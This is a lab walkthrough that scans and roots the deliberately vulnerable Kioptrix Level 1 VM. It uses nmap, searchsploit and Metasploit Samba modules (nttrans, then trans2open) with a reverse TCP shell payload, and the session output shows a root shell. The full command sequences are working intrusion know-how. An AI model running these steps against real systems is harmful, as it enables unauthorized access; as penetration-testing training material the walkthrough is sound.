9.1 : Pre exploitation - Cracking CVE

Gaining root access with Metasploit

Lets crack Kioptrix level 1 , its a virtual machine with vulnerable softwares . We learn it by doing.

Install Kioptrix1

Download it from https://www.vulnhub.com/entry/kioptrix-level-1-1,22/#

Config the settings as follow:

Create a new Virtual machine

  • Set the OS to Linux - Ubuntu x64 (Press Next)
  • Give it 1 GB RAM (Press Next)
  • Select “Use existing virtual hard drive disk file” option and point it to the location where the Kioptrix .vmdk file is located (Press Create)

Once the VM is created, right click on it and press “Settings”

  • Go to ‘Storage’ section and remove the Kioptrix vmdk from “Controller: SATA” Storage tree.
  • Add the Kioptrix .vmdk to ‘Controller:IDE’ Storage tree
  • Go to “Network” section and select “Host-only Adapter” under “Attached to” drop-down menu.
  • Expand the “Advanced” options and change your “Adapter Type” to PCnet-PCI II (Am79C970A)”

credits: https://www.reddit.com/r/netsecstudents/comments/72n2q2/kioptrix_level_11_vm_setup_problem/

Recon

nmap 192.168.56.0/24
root@kali:~# nmap 192.168.56.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-04 21:39 PST
Nmap scan report for 192.168.56.1
Host is up (0.00012s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 0A:00:27:00:00:00 (Unknown)

Nmap scan report for 192.168.56.100
Host is up (0.000034s latency).
All 1000 scanned ports on 192.168.56.100 are filtered
MAC Address: 08:00:27:BC:B6:D7 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.103 
Host is up (0.00011s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 08:00:27:65:A7:4D (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.101
Host is up (0.0000040s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind

Nmap done: 256 IP addresses (4 hosts up) scanned in 9.48 seconds

The 192.168.56.103 is our target.

Lets check the service entry point to see if there is an CVE.

root@kali:~# nmap -sSV --version-intensity 9 192.168.56.103
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-04 21:43 PST
Nmap scan report for 192.168.56.103
Host is up (0.000087s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:65:A7:4D (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.37 seconds

Searching for CVE & exploits

Back to our kali, Lets search for the related exploit for samba.

Samba is a well known broken file transfer protocol.

If you see this, just try and pwn it.

root@kali:~# searchsploit samba                                                                                [84/84
----------------------------------------------------------------------------- ---------------------------------------
 Exploit Title                                                               |  Path
                                                                             | (/usr/share/exploitdb/)
----------------------------------------------------------------------------- ---------------------------------------
GoSamba 1.0.1 - 'INCLUDE_PATH' Multiple Remote File Inclusions               | exploits/php/webapps/4575.txt
Microsoft Windows XP/2003 - Samba Share Resource Exhaustion (Denial of Servi | exploits/windows/dos/148.sh
SWAT Samba Web Administration Tool - Cross-Site Request Forgery              | exploits/cgi/webapps/17577.txt
Samba 1.9.19 - 'Password' Remote Buffer Overflow                             | exploits/linux/remote/20308.c
Samba 2.0.7 - SWAT Logfile Permissions                                       | exploits/linux/local/20341.sh
Samba 2.0.7 - SWAT Logging Failure                                           | exploits/unix/remote/20340.c
Samba 2.0.7 - SWAT Symlink (1)                                               | exploits/linux/local/20338.c
Samba 2.0.7 - SWAT Symlink (2)                                               | exploits/linux/local/20339.sh
Samba 2.0.x - Insecure TMP File Symbolic Link                                | exploits/linux/local/20776.c
Samba 2.0.x/2.2 - Arbitrary File Creation                                    | exploits/unix/remote/20968.txt
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)                 | exploits/osx/remote/9924.rb
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1)      | exploits/linux/remote/16321.rb
Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit)            | exploits/bsd_x86/remote/16880.rb
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalat | exploits/linux/local/23674.txt
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)          | exploits/linux_x86/remote/16861.rb
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)            | exploits/osx_ppc/remote/16876.rb
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)      | exploits/solaris_sparc/remote/16330.rb
...

Its alot, Lets filter only important exploits to test.

root@kali:~# searchsploit samba | grep remote | grep Buffer
Samba 1.9.19 - 'Password' Remote Buffer Overflow                             | exploits/linux/remote/20308.c
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1)      | exploits/linux/remote/16321.rb
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1)                   | exploits/unix/remote/22468.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2)                   | exploits/unix/remote/22469.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3)                   | exploits/unix/remote/22470.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4)                   | exploits/unix/remote/22471.txt
Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow      | exploits/unix/remote/22356.c
Samba 2.2.x - Remote Buffer Overflow                                         | exploits/linux/remote/7.pl
Samba 3.0.4 - SWAT Authorisation Buffer Overflow                             | exploits/linux/remote/364.pl
Sambar Server 6 - Search Results Buffer Overflow (Metasploit)                | exploits/windows/remote/16756.rb
root@kali:~# ^C

First attempt

Lets try the exploits/linux/remote/16321.rb exploit for this case.

msfconsole
msf5 > search nttrans # search for the related exploit

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  auxiliary/dos/samba/read_nttrans_ea_list                   normal   No     Samba read_nttrans_ea_list Integer Overflow
   1  exploit/multi/samba/nttrans               2003-04-07       average  No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow


msf5 > use exploit/multi/samba/nttrans
msf5 exploit(multi/samba/nttrans) > set rhost 192.168.56.103
rhost => 192.168.56.103
msf5 exploit(multi/samba/nttrans) > exploit

[*] Started reverse TCP handler on 192.168.56.101:4444
[-] 192.168.56.103:139 - Exploit failed [timeout-expired]: Timeout::Error execution expired
[*] Exploit completed, but no session was created.

The exploit seems not working . Lets examine the details by double verify the payloads and the targets.

msf5 exploit(multi/samba/nttrans) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Samba 2.2.x Linux x86


msf5 exploit(multi/samba/nttrans) > show options

Module options (exploit/multi/samba/nttrans):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.56.103   yes       The target address range or CIDR identifier
   RPORT   139              yes       The target port (TCP)


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.101   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Samba 2.2.x Linux x86

The targets is correct.

However, the payload options doesn’t seems working. Lets change this to some generic payloads.

msf5 exploit(multi/samba/nttrans) > search payload -o all-payloads.txt

msf5 exploit(multi/samba/nttrans) > cat all-payloads.txt | grep tcp | grep generic
[*] exec: cat all-payloads.txt | grep tcp | grep generic

"496","payload/generic/shell_bind_tcp","","normal","No","Generic Command Shell, Bind TCP Inline"
"497","payload/generic/shell_reverse_tcp","","normal","No","Generic Command Shell, Reverse TCP Inline"


msf5 exploit(multi/samba/nttrans) > exploit

[*] Started reverse TCP handler on 192.168.56.101:4444
ls
[-] 192.168.56.103:139 - Exploit failed [timeout-expired]: Timeout::Error execution expired
[*] Exploit completed, but no session was created.

It doesn’t seems working even we changed the payload. Lets try another one.

Second attempt

msf5 exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.56.103   yes       The target address range or CIDR identifier
   RPORT   139              yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Samba 2.2.x - Bruteforce


msf5 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.56.101:4444
[*] 192.168.56.103:139 - Trying return address 0xbffffdfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffcfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffbfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffafc...
[*] Sending stage (985320 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.103:32769) at 2019-11-04 22:25:48 -0800
[*] 192.168.56.103 - Meterpreter session 1 closed.  Reason: Died
[*] 192.168.56.103:139 - Trying return address 0xbffff9fc...
[*] Sending stage (985320 bytes) to 192.168.56.103
[*] Meterpreter session 2 opened (192.168.56.101:4444 -> 192.168.56.103:32770) at 2019-11-04 22:25:49 -0800
[*] 192.168.56.103 - Meterpreter session 2 closed.  Reason: Died
[*] 192.168.56.103:139 - Trying return address 0xbffff8fc...
[*] Sending stage (985320 bytes) to 192.168.56.103
[*] 192.168.56.103 - Meterpreter session 3 closed.  Reason: Died
[*] Meterpreter session 3 opened (127.0.0.1 -> 127.0.0.1) at 2019-11-04 22:25:50 -0800
[*] 192.168.56.103:139 - Trying return address 0xbffff7fc...
[*] Sending stage (985320 bytes) to 192.168.56.103
[*] Meterpreter session 4 opened (192.168.56.101:4444 -> 192.168.56.103:32772) at 2019-11-04 22:25:52 -0800
[*] 192.168.56.103 - Meterpreter session 4 closed.  Reason: Died
[*] 192.168.56.103:139 - Trying return address 0xbffff6fc...
^C[-] 192.168.56.103:139 - Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf5 exploit(linux/samba/trans2open) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.56.101:4444
[*] 192.168.56.103:139 - Trying return address 0xbffffdfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffcfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffbfc...
[*] 192.168.56.103:139 - Trying return address 0xbffffafc...
[*] Command shell session 5 opened (192.168.56.101:4444 -> 192.168.56.103:32773) at 2019-11-04 22:26:47 -0800

ls
whoami
root
ifconfig
//bin/sh: ifconfig: command not found
pwd
/tmp
history
last
reboot   system boot  2.4.7-10         Tue Nov  5 05:39          (00:48)
reboot   system boot  2.4.7-10         Tue Nov  5 05:35          (00:51)
reboot   system boot  2.4.7-10         Tue Nov  5 05:28          (00:59)
reboot   system boot  2.4.7-10         Tue Nov  5 05:25          (01:02)

wtmp begins Tue Nov  5 05:25:06 2019
^C
Abort session 5? [y/N]  y
""

[*] 192.168.56.103 - Command shell session 5 closed.  Reason: User exit

Got it.

Sometimes the exploit is partly working, we need to look for the details and make some small modifications to it in order to crack.